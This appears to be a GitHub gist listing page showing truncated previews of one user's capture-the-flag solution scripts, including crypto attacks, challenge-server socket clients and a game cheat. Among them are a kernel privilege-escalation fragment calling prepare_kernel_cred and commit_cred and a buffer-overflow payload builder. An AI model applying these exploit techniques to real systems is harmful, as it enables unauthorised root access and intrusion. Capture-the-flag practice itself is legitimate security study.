Skip to content

Instantly share code, notes, and snippets.

@volpino
volpino / disas.py
Created April 20, 2015 18:25
pctf cryptoserv disas
import struct
def d(word):
return struct.unpack("<I", word)[0]
def chunks(l, n):
""" Yield successive n-sized chunks from l.
"""
for i in xrange(0, len(l), n):
@volpino
volpino / weshgrow_exploit.py
Created April 5, 2015 19:16
NDH2015 Quals weshgrow
import struct
class BHE(object):
# state = [1336226589, 251977347, 716107527, 1774966033]
state = [struct.unpack("<I", x.decode('hex'))[0] for x in ['ca8473d3', '5a80a5ca', '4e9f3555', 'c2869f71']]
def to_hex(self, x):
return struct.pack("<I", x).encode('hex')
def round(self, byte):
@volpino
volpino / weshgrow.py
Created April 5, 2015 19:10
NDH Quals 2015 weshgrow
def round(byte):
c = 162888806
for i in range(3, 0, -1):
state[i] = (state[0] * state[i] + state[0] * byte) % 4294967295
self.state[0] = (state[0] * c + state[1] * byte) % 4294967295
def hash(data):
for char in data:
round(ord(char))
return "".join([to_hex(x) for x in state])
@volpino
volpino / rsaquine.py
Created March 30, 2015 18:03
0ctf 2015 - rsaquine
import socket
import telnetlib
from subprocess import Popen, PIPE
from fractions import gcd
def recv_until(s, string):
buf = ""
while not buf.endswith(string):
r = s.recv(1)
@volpino
volpino / jfk_exploit.c
Created March 1, 2015 22:05
BKP2015 JFK
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
void get_root(void) {
void * (*prepare_kernel_cred)(void *) = (void *) 0xc00387f4;
void (*commit_cred)(void *) = (void *) 0xc00384b4;
@volpino
volpino / jfk_exploit.py
Created March 1, 2015 22:01
BKP2015 JFK
import struct
def q(word):
return struct.pack("<I", word)
addr = q(0xc332fc05)
is_valid = "BBBB"
myname = "DDDD"
payload = "A"*32 + addr + is_valid + myname
@volpino
volpino / airport_client.py
Created March 1, 2015 21:37
BKP2015 - Airport
import hashlib
import gmpy
from time import time, sleep
s = socket()
s.connect(("52.1.245.61", 1025))
p = 27327395392065156535295708986786204851079528837723780510136102615658941290873291366333982291142196119880072569148310240613294525601423086385684539987530041685746722802143397156977196536022078345249162977312837555444840885304704497622243160036344118163834102383664729922544598824748665205987742128842266020644318535398158529231670365533130718559364239513376190580331938323739895791648429804489417000105677817248741446184689828512402512984453866089594767267742663452532505964888865617589849683809416805726974349474427978691740833753326962760114744967093652541808999389773346317294473742439510326811300031080582618145727L
captcha = s.recv(1024)
print "[+] captcha", repr(captcha)
@volpino
volpino / Makefile_detect_instr
Created February 11, 2015 09:10
PANDA disable callback
# Don't forget to add your plugin to config.panda!
# Set your plugin name here. It does not have to correspond to the name
# of the directory in which your plugin resides.
PLUGIN_NAME=detect_instr
# Include the PANDA Makefile rules
include ../panda.mak
# If you need custom CFLAGS or LIBS, set them up here
@volpino
volpino / hwaes.py
Created December 30, 2014 11:39
hwaes 31c3 CTF
from socket import socket
from Crypto.Cipher import AES
Sbox = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
@volpino
volpino / shooting.js
Created December 26, 2014 13:40
shooting - Advent Calendar CTF
setInterval(function() {for (var i=2; i&lt;gamé.currentScene.childNodes.length; i++) {gamé.currentScene.childNodes[i].direction=0}}, 10);